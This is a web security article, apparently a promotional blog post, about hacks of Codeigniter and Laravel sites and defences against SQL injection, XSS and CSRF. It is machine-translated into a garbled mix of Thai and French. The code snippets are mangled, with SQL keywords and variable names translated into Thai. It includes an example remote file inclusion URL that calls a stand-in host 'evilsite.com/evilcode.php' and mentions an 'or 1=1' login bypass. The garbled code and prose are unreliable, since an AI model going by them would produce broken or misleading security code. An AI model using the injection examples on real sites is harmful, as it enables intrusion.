Computer >> คอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยของเครือข่าย

เว็บไซต์ Codeigniter ou Laravel ละเมิดลิขสิทธิ์? แก้ไขช่องโหว่ของ Codeigniter และ Laravel avec

Laravel et Codeigniter ใช้เฟรมเวิร์ก PHP ยอดนิยม การใช้งานสำหรับเว็บไซต์ต่างๆ Leur popularité peut également être accréditée par la nature โอเพ่นซอร์ส des deux frameworks Cependant, les utilisateurs doivent comprendre que le déploiement de sites utilisant ces frameworks ne les rend pas sûrs. Ce sont les pratiques de développement sécurisées qui comptent การฉีด SQL และ Codeigniter et l’injection SQL และ Laravel sont les deux sujets de sécurité les plus courants sur les forums d’aide เกี่ยวกับ SQLi, ไฟล์ pratiques ของการพัฒนา อันตรายยูส แบบอักษร également les ไซต์ ช่องโหว่ aux XSS, CSRF, attaques RFI ฯลฯ

Site Web Codeigniter และ Laravel piraté:ตัวอย่าง

เริ่มต้นใช้งาน SQL และ Codeigniter ou Laravel peuvent compromettre le site Web. Ces attaques sont assez courantes et répandues. Par conséquent, un grand nombre d'utilisateurs souffrant d'attaques similaires peuvent être trouvés demandant de l'aide sur le forum de la communauté Laravel ou le forum de la communauté Codeigniter . บาง de ces เป็นตัวอย่าง sont donnés ci-dessous

เว็บไซต์ Codeigniter ou Laravel ละเมิดลิขสิทธิ์? แก้ไขช่องโหว่ของ Codeigniter และ Laravel avec เว็บไซต์ Codeigniter ou Laravel ละเมิดลิขสิทธิ์? แก้ไขช่องโหว่ของ Codeigniter และ Laravel avec

Les symptômes de Codeigniter ou Laravel Hack

  • หน้า de ฟิชชิ่ง Laravel ou Codeigniter conçues pour voler des informations sensibles apparaissent sur le site Web.
  • การใช้งานที่ไม่เหมาะสม
  • Le contenu de Gibberish apparaît sur le site de Laravel ou Codeigniter en raison du hachage de mots-clés japonais ou du hack Pharma ฯลฯ
  • Le site Web de Laravel ou Codeigniter devient très lent et affiche des messages d’erreur.
  • Lors de l’utilisation d’un hébergement tiers, ” Votre compte a été suspendu !” อุปกรณ์
  • ไซต์ Laravel ou Codeigniter est mis sur liste noire par les moteurs de recherche .
  • Les journaux d’erreurs montrent surees attaques comme l’injection SQL dans Codeigniter sur le site.
  • Les journaux affichent la connexion au site Web à partir d’adresses IP ห่างไกล
  • ผู้บริหารระดับสูง voyous apparaissent dans la base de données de connexion

ทำให้เกิดการใช้ Codeigniter ou Laravel Hack

1) Codeigniter ou Laravel Hack:attaques par injection

a) การฉีด SQL และ Codeigniter ou Laravel

การฉีด SQL และ Codeigniter est une attaque très courante qui est largement répandue sur le Web. Comme son nom l'indique, l'attaque cible la base de données du serveur การใช้ประโยชน์ l'injection SQL dans Codeigniter, l'attaquant peut:

  • Récupérez les données de la base de données.
  • ตัวดัดแปลง le contenu de la base de données (comprend la suppression de la base de données entière!)
  • Dans แน่ใจ cas, obtenir un shell inversé.
  • การรับรองความถูกต้องของเส้นขอบที่ใช้งานได้ une entrée comme ou 1 =1.

b) การฉีดโค้ด PHP และ Codeigniter / Laravel

การฉีดโค้ด PHP est un autre type de vulnérabilité courante qui permet aux attaquants d'exécuter du code sur le site Web Laravel / Codeigniter Cependant, elle diffère de l’injection de commandes dans le sens où l’attaquant ne peut exécuter que les commandes de ce langage particulier. L'injection de commandes permet à un attaquant d'exécuter des commandes ผ่าน un shell inversé ตัวอย่างที่ตราไว้, le paramètre vulnérable peut être fourni avec un lien vers un fichier malveillant qui contient du code PHP à exécuter, à savoir https://testsite.com/?page=https://evilsite.com/evilcode.php

Ce fichier peut contenir des fonctions comme phpinfo () qui peuvent être utilisées pour obtenir des informations.

2) Codeigniter ou Laravel Hack:การเขียนสคริปต์ข้ามไซต์สำหรับ Codeigniter / Laravel

ข้อมูลสำคัญ XSS เริ่มต้นจากไซต์ต่างๆ เว็บ Laravel / Codeigniter ที่ raison du manque de nettoyage des entrées Les deux cadres ont des fonctions de sécurité spécialement conçues pour éviter ces attaques ใช้ประโยชน์จาก XSS ที่ไม่ถูกโจมตี และไม่มีประโยชน์:

  • ประโยชน์จากฟิชชิ่งเท voler des cookies et autres données de session sensibles
  • Redirigez les utilisateurs กับ unsite malveillant
  • Utilisé pour contourner la stratégie de même origine

3) Laravel ou Codeigniter Hack:การปลอมแปลงคำขอระหว่างไซต์และ Codeigniter / Laravel

Cette attaque vise à inciter les utilisateurs à effectuer des actions ที่ไม่พึงปรารถนา Cependant, ce type d’attaque ne peut être utilisé que pour manipuler les données (การปราบปราม de formulaires เป็นต้น) et non pour les voler ou les lire Dans le pire des cas, si la baite est l'administrateur, l'application entière peut être détruite. Cette attaque ใช้ des astuces d'ingénierie sociale ริน les เหยื่อ à cliquer sur un lien qui exécute des commandes comme la suppression d'un compte en arrière-plan

เว็บไซต์ Codeigniter ou Laravel ละเมิดลิขสิทธิ์? แก้ไขช่องโหว่ของ Codeigniter และ Laravel avec

Codeigniter ou ไซต์ Laravel piraté?. Envoyez-nous un message sur le widget de chat et nous serons heureux de vous aider à résoudre ce problème. อิล. เว็บไซต์แก้ไข mon Web Laravel / Codeigniter piraté .

4) Protéger votre ไซต์ Web Codeigniter / Laravel

Codeigniter ou Laravel Hack:éviter l’injection SQL และ Codeigniter

Codeigniter est livré avec des tonnes de fonctionnalités de sécurité บางส่วนของ d'entre eux incluent des fonctions et des bibliothèques pour éviter l'injection SQL dans Codeigniter บทความ Dans cet, j'expliquerai 3 แนวทางหลัก pour accomplir la tâche une par une.

Codeigniter ou Laravel Hack:échapper aux requêtes dans Codeigniter

Échapper les données avant de les soumettre à l'application PHP les désinfecterait. C'est donc une pratique sûre qui doit être suivie régulièrement. Même les requêtes d'échappement peuvent être effectuées via trois méthodes:

  1. $ this-> db-> escape (): détermine le type de données avant de s'échapper
  2. $ this-> db-> escape_str (): ne détermine pas le type de données, l'échappe simplement.
  3. $ this-> db-> escape_like_str (): เงื่อนไขการใช้งาน être utilisé avec des.

เท davantage บ่อพัก, ปรึกษา l'extrait de รหัส ci-dessous.

<เล็ก> $ email =$ this-> input-> post ('อีเมล');
$ แบบสอบถาม ='เลือก * จาก Subscribes_tbl โดยที่ชื่อผู้ใช้ =' $ this-> db-> หนี ($ อีเมล);
$ this-> db-> แบบสอบถาม ($ แบบสอบถาม);
?>

รหัส Dans, la fonction $ this-> db-> escape () détermine d'abord le type de données afin d'échapper uniquement les données de chaîne De plus, il ajoute automatiquement les guillemets simples autour des données d’entrée Cela empêche l'injection SQL และ Codeigniter

Codeigniter ou Laravel Hack:requêtes de liaison dans Codeigniter

Les requêtes de liaison peuvent également simplifier le code en plus de nettoyer les entrées du ไซต์ Web Codeigniter Cette méthode permet au système de poser des requêtes, réduisant ainsi la complexité เท le développeur ตัวอย่างพาร์,respectez l’extrait de code ci-dessous.

<เล็ก> db-> query ($ sql, array ('active', 'admin@wsxdn.com'));?>

Ici, vous pouvez remarquer des points d’interrogation dans la première ligne au lieu de valeurs. En raison de la liaison de requête, ces points d’interrogation sont remplacés à partir des valeurs du tableau sur la deuxième ligne Dans l'exemple precédent, nous avons vu une requête manuelle s'échapper, mais ici, cette méthode l'accommplit automatiquement. ความสำเร็จ l'arrêt de l'injection SQL dans Codeigniter

Codeigniter ou Laravel Hack:การลงทะเบียนคลาสที่ใช้งานและ Codeigniter

La fonction d’enregistrements actifs de Codeigniter nous permet d’effectuer des opérations de base de données avec ขั้นต่ำ de lignes de code ou de scripts Puisqu'il s'agit d'une fonction du système lui-même, l'échappement de la requête se fait automatiquement. Par exemple, toutes les données de la table peuvent être récupérées par une simple requête:

$ query =$ this-> db-> get ('mytable');

Codeigniter ou Laravel Hack:éviter l’injection SQL และ Laravel

Le mappage Relationnel-objet de Laravel ใช้ la liaison de données d'objet PHP สำหรับ désinfecter les entrées utilisateur, ce qui empêche à son tour l’injection SQL Laravel La liaison de paramètres ajoute également des guillemets automatiquement, empêchant ainsi une entrée dangereuse comme ou 1 =1 การรับรองความถูกต้องของคอนทัวร์เนอร์

$ ผล =DB ::เลือก ('เลือก * จากผู้ใช้โดยที่ id =:id', ['id' => 1]);

Voici une implémentation d'une requête de liaison nommée dans Laravel.

Codeigniter ou Laravel Hack:สคริปต์ที่คั่นระหว่างไซต์และ Codeigniter

เท éviter d'éventuelles attaques XSS, Codeigniter est livré avec un filtre XSS pré-construit Dans le cas où ce filtre rencontre une demande malveillante, il la convertit en son entité de caractère, protégeant ainsi l’application. Ce filtre est เข้าถึงได้ผ่านทาง la méthode xss_clean () :

$ data =$ this-> security-> xss_clean ($ data);

Cependant, les attaquants peuvent parfois injecter du code malveillant dans les fichiers ภาพ เท éviter de telles attaques, la sécurité des fichiers téléchargés peut également être vérifiée ตัวอย่างที่ตราไว้,respectez le code donné ci-dessous.

if ($ this-> security-> xss_clean ($ file, TRUE) ===FALSE)

// le fichier a échoué au test XSS

}

Ce code renverra une valeur booléenne จริง si l'image est sûre และในทางกลับกัน Cependant, il convient de noter ici qu'il est conseillé d'utiliser la méthode html_escape () si vous souhaites ตัวกรอง les valeurs d'attribut HTML

Codeigniter ou Laravel Hack:ไฟล์สคริปต์ข้ามไซต์ Laravel

ประโยชน์ใช้สอย une chaîne d'échappement, les attaques XSS peuvent être évitées sur les sites Web de Laravel Les chaînes d'échappement empêcheront la mise en œuvre d'une entrée ไม่ใช่ autorisée Cependant, il est à noter ici que dans les version Laravel> 5.1, cette fonctionnalité est activée par défaut. Par conséquent, lorsque l'entrée comme ceci:

{{$ task-> names}}
est fournie aux version ของ Laravel au-dessus de 5.1, l’application ne sera pas vulnérable en raison de l’échappement automatique des requêtes เดอ พลัส ลาลิมิตเตชั่น เดอ ลา ลองเกอ เดอ อองทรี สี่นี่ พาร์ l’utilisateur peut également empêcher บางประเภท d’attaques XSS และ SQLi Cela peut être fait via le code HTML donné ci-dessous.

<ประเภทอินพุต ="ข้อความ" ชื่อ ="งาน" ความยาวสูงสุด ="10">

La même เลือก peut être implémentée ผ่าน une fonction JS ดี พลัส ลา syntaxe {% raw%} {{}} {% endraw%} dans Laravel peut par défaut échapper à toutes les entités HTML malveillantes ส่งผ่าน De plus, certaines bibliothèques sont spécialement conçues pour cette tâche et pourraient être utilisées pour empêcher Laravel XSS. Si vous utilisez un moteur de modèle comme Blade, il utilisera automatiquement l’échappement pour empêcher de telles attaques.

Codeigniter ou Laravel Hack:empêcher les attaques CSRF dans Codeigniter

La protection CSRF peut être activée dans Codeigniter en modifiant le fichier application / config / config.php. Ajoutez simplement le code suivant au fichier:

$ config [‘csrf_protection’] =TRUE;

Pour les utilisateurs qui utilisent Form Helper, la fonction form_open () peut par défaut insérer un champ de jeton CSRF masqué dans les formulaires. L’autre façon de mettre en œuvre la protection CSRF consiste à utiliser get_csrf_token_name () et get_csrf_hash () . Pour référence, regardez les deux extraits de code ci-dessous d’un formulaire et d’une implémentation côté serveur.

$ csrf =tableau (

‘name’ => $ this-> security-> get_csrf_token_name (),

‘hash’ => $ this-> security-> get_csrf_hash ());

————————————————– ——————

” value =“” />

La régénération des jetons est également une autre pratique sûre pour empêcher les attaques Codeigniter CSRF. Cependant, la régénération des jetons peut être problématique car les utilisateurs peuvent avoir besoin d’une nouvelle validation après avoir navigué vers d’autres onglets. La régénération de jeton peut être effectuée par le paramètre de configuration suivant:

$ config [‘csrf_regenerate’] =TRUE;

Codeigniter ou Laravel Hack:prévenir les attaques CSRF dans Laravel

Les jetons sont implémentés sous des formes Laravel pour se protéger des attaques CSRF. Ces jetons sont ensuite appelés à l’aide d’un appel AJAX qui peut être trouvé intégré dans chaque formulaire. Les données du jeton de demande sont mises en correspondance avec celles stockées sur le serveur pour la session de l’utilisateur vérifiant les anomalies. Les jetons CSRF peuvent être transmis aux formulaires à l’aide du code suivant ( implémentation des modèles de lame ):

{!! csrf_field () !!}

Cependant, le jeton CSRF peut être ajouté par défaut lors de l’utilisation du package LaravelCollective / HTML.

Codeigniter ou Laravel Hack:Bloquer les rapports d’erreur

Les erreurs de fichier sont utiles dans l’environnement de développement. Cependant, sur le Web, les erreurs de fichier Codeigniter peuvent divulguer des informations potentiellement sensibles aux attaquants. Par conséquent, il est recommandé de désactiver le rapport d’erreurs.

Erreurs PHP

Pour désactiver le rapport d’erreurs PHP, utilisez le fichier index.php. Passez simplement zéro comme argument à la fonction error_reporting (). Regardez l’exemple donné ci-dessous pour référence.

error_reporting (0);

Cependant, pour CodeIgniter version 2.0.1 et supérieure, la constante d’environnement dans le fichier index.php peut être définie sur «production» afin de désactiver les sorties d’erreur PHP.

Erreurs de base de données

Les erreurs de base de données peuvent être désactivées en modifiant le fichier application / config / database.php. Définissez simplement l’option db_debug sur FALSE. Regardez l’exemple ci-dessous pour référence:

$ db [‘default’] [‘db_debug’] =FALSE;

Journalisation des erreurs

Un moyen intelligent serait de transférer les erreurs survenues dans les fichiers journaux, ce qui les empêcherait de s’afficher. L’option seuil de journalisation du fichier /config/config.php peut être définie sur 1 à cet effet. Regardez l’exemple donné ci-dessous.

$ config [‘log_threshold’] =1;

Utiliser un pare-feu d’application Web pour Laravel ou Codeigniter

Même les experts peuvent manquer certains paramètres qui pourraient rendre le site Laravel / Codeigniter vulnérable. De plus, les attaquants trouvent constamment de nouvelles façons de compromettre votre site. Par conséquent, une autre pratique sécurisée consiste à utiliser un pare – feu ou une solution de sécurité quelconque. Astra est une telle solution de sécurité conçue pour répondre à vos exigences flexibles. Payez uniquement pour ce que vous utilisez. Astra est une solution de sécurité prête à l’emploi avec des tarifs à partir de 9 $ par mois. Envoyez-nous un message et rapprochez-vous de la sécurisation de votre code PHP. Obtenez une démo maintenant!

เว็บไซต์ Codeigniter ou Laravel ละเมิดลิขสิทธิ์? แก้ไขช่องโหว่ของ Codeigniter และ Laravel avec

Astra fournit un audit de sécurité complet pour votre site Web Laravel ou Codeigniter avec plus de 80 tests actifs, une bonne combinaison de tests manuels et automatisés.